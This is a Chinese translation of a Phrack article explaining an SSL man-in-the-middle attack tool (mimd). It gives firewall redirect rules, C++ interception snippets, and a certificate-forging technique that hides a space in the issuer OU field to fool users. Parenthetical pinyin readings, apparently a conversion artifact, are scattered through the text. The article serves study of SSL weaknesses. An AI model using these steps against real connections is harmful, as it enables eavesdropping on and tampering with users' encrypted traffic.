作者：Stealth
翻譯：nixe0n
http://www.linuxbyte.net/view.php?skin=art&ID=3320簡(jiǎn)介
SSLv3的當(dāng)前版本是3.1版，也被稱為TLS。它提供了一種機(jī)制，在網(wǎng)絡(luò)上進(jìn)行安全的數(shù)據(jù)傳輸。它據(jù)說能夠滿足所有的安全需要，比如：你的銀行帳戶管理。
但是在這里我將告訴你，這實(shí)際上是不可能的。
在本文中，我首先將對(duì)SSL做一些介紹，這是非常重要的。不過，這里我們不會(huì)介紹諸如SSL是怎樣實(shí)現(xiàn)連接的等深層問題，如果有興趣，可以自己參考參考資料。
1.為什么使用SSL
SSL是為了實(shí)現(xiàn)網(wǎng)絡(luò)數(shù)據(jù)傳輸中的如下目的設(shè)計(jì)的：
機(jī)密性
這是通過對(duì)數(shù)據(jù)進(jìn)行加密實(shí)現(xiàn)的，在進(jìn)行SSL握手時(shí)，SSL選擇一種對(duì)稱算法對(duì)數(shù)據(jù)進(jìn)行加密，然后才在網(wǎng)絡(luò)上傳輸數(shù)據(jù)。SSL使用的加密算法有好多種，如果某種算法被新的網(wǎng)絡(luò)攻擊方法識(shí)破，它只要選擇另外的算法就可以了。
消息的完整性
SSL使用一種很健壯的信息驗(yàn)證碼(Message Authentication Code)，例如：SHA-1，驗(yàn)證碼被放在數(shù)據(jù)包的后部，并且和數(shù)據(jù)一塊被加密。這樣，如果數(shù)據(jù)被修改，其散列值就無法和原來的驗(yàn)證碼匹配，從而能夠檢測(cè)出數(shù)據(jù)是否被修改。MAC同時(shí)也被用于保護(hù)SSL連接免受干擾。
保護(hù)數(shù)據(jù)免受重放攻擊(replay-attack)
SSL使用序列號(hào)來保護(hù)通訊方免受報(bào)文重放攻擊。這個(gè)序列號(hào)被加密后作為數(shù)據(jù)包的負(fù)載。在整個(gè)SSL握手中中，都有一個(gè)唯一的隨機(jī)數(shù)來標(biāo)記這個(gè)SSL握手，這樣重放便無機(jī)可乘。
免受recorder攻擊(reorder-attack)
上面所說的序列號(hào)也可以防止攻擊者記錄數(shù)據(jù)包并以不同的次序發(fā)送。
端點(diǎn)驗(yàn)證
使用X509(當(dāng)前版本是3)證書，SSL支持客戶和服務(wù)器的驗(yàn)證。關(guān)于服務(wù)器的連接，我們稍后將深入介紹。
這聽起來似乎很安全，但是看了本文介紹的程序，就就不這么想了。(不過，我們還不能打破客戶端的驗(yàn)證)
使用本文介紹的攻擊方法，我們就可以看到SSL連接上所有明文數(shù)據(jù)，根據(jù)我們的需要修改傳輸?shù)臄?shù)據(jù)，對(duì)數(shù)據(jù)進(jìn)行中繼發(fā)送，以錯(cuò)誤的次序發(fā)送甚至丟棄我們不需要的報(bào)文。這種攻擊方法就是所謂的途中人攻擊(man in the middle attack，或者中間人攻擊)。
2.X509數(shù)字證書
X509數(shù)字證書是SSL的一個(gè)組成部分。在SSL握手過程中，服務(wù)器向客戶發(fā)送自己的數(shù)字證書。一個(gè)X509數(shù)字證書包括發(fā)行者的識(shí)別名(Distinguished Name)、主體(Subject)的識(shí)別名、一個(gè)版本號(hào)和序列號(hào)、選擇的算法、密鑰的有效期時(shí)間窗，還有主體的公鑰。
主體(subject)是這個(gè)證書包含實(shí)體的名，證書中的公鑰屬于主體(Subject)。在平常的X509數(shù)字證書中，沒有標(biāo)志DNS名的域。通常，CN域被影射為DNS名，但是這只是一個(gè)客戶和數(shù)字證書的實(shí)體必須都認(rèn)可的協(xié)議。
發(fā)行者(issuer)是使用自己的私鑰簽發(fā)這個(gè)數(shù)字證書。它叫做數(shù)字證書中心(Certificate Authority,CA)。
讓我們看一個(gè)X509數(shù)字證書：
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Nov 19 01:57:27 2000 GMT
Not After : Apr 5 01:57:27 2028 GMT
Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2:
e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05:
e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd:
70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9:
0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25:
47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12:
a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7:
a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1:
83:88:8f:c4:6a:8c:bb:26:fd
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d:
e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee:
42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e:
a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca:
ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd:
8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7:
80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03:
82:f1
要點(diǎn)：
Issuer: C=EU, ST=segfault, L=segfault,
O=www.segfault.net/Email=crew@segfault.net
C、ST、L、O和Email構(gòu)成發(fā)行者的識(shí)別名(distinguished name,DN)。
Subject:C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
證書可以由一個(gè)公開的CA簽發(fā)，或者由自己簽發(fā)(就是所謂的自簽發(fā)證書)。在這個(gè)例子中的證書就是由自己簽發(fā)的。
這是沒有被攔截的原始數(shù)字證書。后面我們將看一下如果有人攔截連接看起來會(huì)怎樣。
當(dāng)你的瀏覽器向
https://segfault.net的連接時(shí)，這個(gè)證書會(huì)在SSL握手期間進(jìn)行交換。證書中保存的公鑰就被用于會(huì)話的加密。
為了具有pretty good層的安全性，證書應(yīng)該由一個(gè)CA(你自己或者一個(gè)公開的CA)簽發(fā)，客戶有這個(gè)CA的公鑰用于檢查這個(gè)證書的合法性。如果客戶沒有這個(gè)CA的公鑰，瀏覽器就會(huì)提示用戶接受還是拒絕這個(gè)證書。這對(duì)于交互式的客戶程序是必須的，不過事實(shí)上對(duì)于太多的站點(diǎn)發(fā)行的證書，客戶并沒有他們的公鑰來檢查證書的合法性。對(duì)于普通的交互式客戶程序(例如：Netscape瀏覽器)，這種情況就可能造成使SSL連接失去意義。
3.攔截
綜上所述，X509數(shù)字證書是SSL的重要環(huán)節(jié)。它的任務(wù)就是保證客戶和服務(wù)器之間的會(huì)話，并且它使用的密鑰是正確的。
現(xiàn)在，想象一下我們偽裝一個(gè)證書，并對(duì)一個(gè)SSL連接進(jìn)行轉(zhuǎn)發(fā)會(huì)怎么樣。
這值得一試。我們的座右銘是“teile und herrsche（哪國(guó)英文？）”，這里我們必須解決兩個(gè)問題：
a.劫持連接然后進(jìn)行轉(zhuǎn)發(fā)。
b.偽造一個(gè)數(shù)字證書，讓客戶以為他是和真正的服務(wù)器通訊。
a+b就是通常所說的途中人(man in the middle，又可以叫做中間人)攻擊。從理論上X509應(yīng)該能夠阻止這種攻擊，但是平常的交互式客戶程序(例如：Netscape瀏覽器)所采取的證書檢查方式使這種攻擊方式有機(jī)可乘。
第一個(gè)問題很好解決，假設(shè)我們位于客戶和服務(wù)器之間，我們只要在我們的防火墻上略施小計(jì)(最好是在Linux或者BSD上:P)把連接重定向就可以了，另外我們把自己的程序稱為mimd。對(duì)于Linux-2.2.x(ipchains)版本的內(nèi)核，使用如下規(guī)則就可以截獲https包文，把它們導(dǎo)入輸入(input)鏈:
ipchains -A input -s 0/0 -d 0/0 443 -j REDIRECT 10000 -p tcp
對(duì)于Linux-2.4.x內(nèi)核(iptables)，可以使用如下規(guī)則：
iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 -dport 443\
-j REDIRECT --to-port 10000
要給出SSL客戶的源端口，如果我們忽略了這一點(diǎn)，mimid就會(huì)進(jìn)入一個(gè)無限的循環(huán)(iptables將會(huì)重定向已經(jīng)重定向的流量)。mimd被綁定到8888端口，它不匹配這條規(guī)則。你的物理位置不必位于SSL連接雙方中間，位于服務(wù)器局域網(wǎng)內(nèi)或者客戶機(jī)局域網(wǎng)內(nèi)就足夠了。使用ARP欺詐就可以很好地完成這個(gè)工作，甚至連防火墻規(guī)則都不必修改。
有了這些重定向規(guī)則，我們就可以著手建立的工具了。目標(biāo)地址可以使用操作系統(tǒng)的API找到(getsockopt())。這個(gè)工具中的NS_Socket::dstaddr()函數(shù)在絕大多數(shù)操作系統(tǒng)中都可以成功編譯。使用這個(gè)小程序，我們可以看到通過連接的數(shù)據(jù)。
為了使這個(gè)小程序能夠看到連接的明文數(shù)據(jù)，我們需要使用SSL_accpet()和SSL_connect()調(diào)用。首先，我們需要調(diào)用(accept()接受客戶程序的連接，接著使用SSL_connect()向真正的服務(wù)器發(fā)起連接請(qǐng)求。然后，執(zhí)行真正的SSL_accept()。假設(shè)我們已經(jīng)完成了初始化內(nèi)容，比如：加載密鑰文件等。這時(shí)，在客戶端，客戶程序(例如：瀏覽器)就會(huì)詢問用戶是否接受這個(gè)工具的證書。
但是，用戶顯然可以輕松認(rèn)出這個(gè)證書是偽造的，因?yàn)樗跒g覽A公司的網(wǎng)站時(shí)，卻收到B公司或者途中人的證書，必然會(huì)引起他的懷疑。
下面我們將會(huì)解決這個(gè)問題。SSL_connect()和SSL_accept()的順序應(yīng)該正確，我將對(duì)其進(jìn)行解釋。
4.DCA
如果用戶接受偽造的證書，我們就可以使用SSL_read()讀出連接的明文數(shù)據(jù)，并使用SSL_write()把它們轉(zhuǎn)發(fā)到真正的服務(wù)器。現(xiàn)在我們就著手解決如何偽造證書的問題。
記住：在SSL_connect()要先于SSL_accept()調(diào)用，這樣服務(wù)器可以把我們看做合法的用戶，和我們進(jìn)行正常的SSL握手，從而我們可以得到服務(wù)器的證書。
下面我們看一下實(shí)際的代碼：
//阻塞，等待iptables劫持的連接
while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {
// 獲得連接真正的
// 目的地址
if (NS_Socket::dstaddr(afd, &dst) < 0) {
log(NS_Socket::why());
die(NULL);
}
...
++i;//一個(gè)全局變量記錄被劫持連接的數(shù)量
if (fork() == 0) {//fork出一個(gè)進(jìn)程，由子進(jìn)程處理被劫持的連接，父進(jìn)程繼續(xù)等待連接
// 成為真正目的服務(wù)器的客戶
if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
log("main::socket");
die(NULL);
}
if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
log(NS_Socket::why());
die(NULL);
}//把套接字綁定到本地端口，可以同時(shí)處理多個(gè)連接
// 向真正的服務(wù)器發(fā)起連接
if (connect(sfd2, (struct sockaddr*)&dst,
sizeof(dst)) < 0) {
log("main::connect");
die(NULL);
}
...
client->start();
client->fileno(sfd2); // 使用sfd2和真正的服務(wù)器進(jìn)行連接
// 進(jìn)行SSL握手以建立SSL連接
if (client->connect() < 0) {
log("Clientside handshake failed. Aborting.");
die(NULL);
}
現(xiàn)在，我們和真正服務(wù)器之間的SSL握手已經(jīng)完成。注意，在源代碼中，SSL_connect()和SSL_accept()兩個(gè)函數(shù)都被封裝到了client和server對(duì)象中。現(xiàn)在，我們可以準(zhǔn)備自己作為SSL服務(wù)器和SSL客戶之間的連接了：
// 服務(wù)器端
server->start(); // 建立SSL對(duì)象
server->fileno(afd); // 使用afd套接字接受客戶連接
我們進(jìn)行真正的偽造，調(diào)用SSL_accept()：
if (enable_dca)
NS_DCA::do_dca(client, server);
動(dòng)態(tài)證書裝配(Dynamic Certificate Assembly)函數(shù)do_dca()進(jìn)行如下工作：
給一個(gè)幾乎是空白的證書(除了C域之外，其它RDN全部為空)，do_dca()使用和服務(wù)器進(jìn)行SSL握手獲得的內(nèi)容填充剩下的RDN域。我們抽取L、ST、O、CN、OU和EMAIL域，把它們放到我們自己的證書，然后把這個(gè)證書顯示給SSL客戶。為了完成這個(gè)工作，do_dca()使用了字符串解析(抽取RDN域)，并調(diào)用OpenSSL提供的using X509_()函數(shù)。
在證書發(fā)行者的OU域(OrganizationalUnit，原來為空)我們填上一個(gè)空格，這個(gè)空格不會(huì)在SSL客戶程序的窗口中顯示出來，但是可以把偽造的新證書和來自公共CA的證書區(qū)別開。當(dāng)這個(gè)偽造的證書到達(dá)SSL客戶程序之后，客戶程序就會(huì)提示用戶是否接收這個(gè)證書，用戶看來這個(gè)證書來自一個(gè)已知的可信任的CA(實(shí)際上，OU域多了一個(gè)空格:P，但是用戶看不出來)，而對(duì)于SSL客戶程序來說，它知道這個(gè)證書不是來自用戶看到的CA(差一個(gè)空格呢:P)，因此找不到這個(gè)CA的公鑰，只好提示用戶，讓用戶定奪是否接受這個(gè)證書。這時(shí)，被愚弄的用戶一般會(huì)接受這個(gè)證書。
現(xiàn)在我們可以修改發(fā)行者的subject域(CN...)，把前面的X509證書變成自簽發(fā)(self-signed)證書。用戶無法知道自簽發(fā)證書是偽造的。
然后，把被重新裝配的證書顯示給客戶：
// do SSL handshake as fake-server
if (server->accept() < 0) {
log("Serverside handshake failed. Aborting.");
die(NULL);
}
ssl_forward(client, server);
ssl_forward()函數(shù)只是循環(huán)調(diào)用SSL_read/SSL_write函數(shù)，記錄傳輸?shù)拿魑臄?shù)據(jù)。我們也可以隨心所欲地修改傳遞的數(shù)據(jù)。
下面在mimd激活之后(沒有使用-I選項(xiàng))，我們使用cf取回來自https服務(wù)器的X509證書：
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= /Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
比較激活mimd前后兩個(gè)證書，你可以發(fā)現(xiàn)兩個(gè)證書的公鑰是不同的，后面這個(gè)證書的公鑰實(shí)際是mimd自己的公鑰。C域包含US和EU，這些信息會(huì)在Netscape瀏覽器中顯示，和原來的證書沒有什么不同。注意到這個(gè)證書的OU域了嗎？原來的證書并沒有這個(gè)域，而新的證書中這個(gè)域的是一個(gè)空格。新證書的發(fā)行者信息是來自原來的數(shù)字證書。這個(gè)證書不再是由某個(gè)公開CA簽發(fā)的，變成了一個(gè)自簽發(fā)(self-signed)的證書。
下面我們使用-I選項(xiàng)重新啟動(dòng)mimd，這次我們使用被截獲證書的Subject來填充偽造證書的Issuer，使偽造證書變成自簽發(fā)證書。
stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, C=EU, ST=segfault, L=segfault,
O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net
Validity
Not Before: Mar 20 13:42:12 2001 GMT
Not After : Mar 20 13:42:12 2002 GMT
Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net,
CN=www.segfault.net/Email=crew@segfault.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3:
e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51:
94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa:
0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b:
b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21:
94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55:
ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4:
b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36:
ca:c2:07:9d:ba:32:ff:d6:e7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
X509v3 Authority Key Identifier:
keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD
DirName:/C=US
serial:00
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: md5WithRSAEncryption
b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0:
ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de:
86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de:
d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28:
8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa:
f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91:
e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a:
eb:f2
比較這兩個(gè)偽造的證書，你會(huì)發(fā)現(xiàn)后面這個(gè)的Issuer中包含CN域，這是為了加強(qiáng)偽造的效果:P。
結(jié)論
綜上所述，使用交互式客戶程序在網(wǎng)絡(luò)上沖浪的用戶無法知道遭到了途中人攻擊，因?yàn)樗麄儫o法分辨公司使用未知的CA(company uses unknown CA)的提示信息是真的還是自己遭到了途中人攻擊。而且，即使他以前曾經(jīng)瀏覽過這個(gè)站點(diǎn)并保存了它的數(shù)字證書，也仍然可能掉入圈套(還記得OU域的空格嗎？:P)。對(duì)于一些機(jī)警的用戶，把偽造的證書變成自簽發(fā)證書將會(huì)打消他們的疑慮。
本文使用separate-ports的方式斷開了SSL連接，但是在一種情況下(upward negotiation)無法使用mimd。SSL使用一個(gè)關(guān)鍵詞把前面的明文數(shù)據(jù)流變成SSL數(shù)據(jù)流傳輸。這個(gè)問題使用MSG_PEEK可能可以解決，他們(作者)正在研究呢:P
參考
[1] "SSL and TLS" Designing and Building Secure Systems
Eric Rescorla, AW 2001
A must-read if you want/need to know how SSL works.
[2] "Angewandte Kryptographie"
Bruce Schneier, AW 1996
THE book for crypto-geeks. I read the german version,
in english its Applied Cryptographie
[2] various openssl c-files and manpages
[3]
http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz A DCA implementation, described in this article;
also contains cf tool.
[4] In case you cannot try mimd on your local box, view
a snapshot from a mim-ed session provided by TESO:
http://www.team-teso.net/ssl-security.png 原文來源：Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) phrack Volume 0x0b, Issue 0x39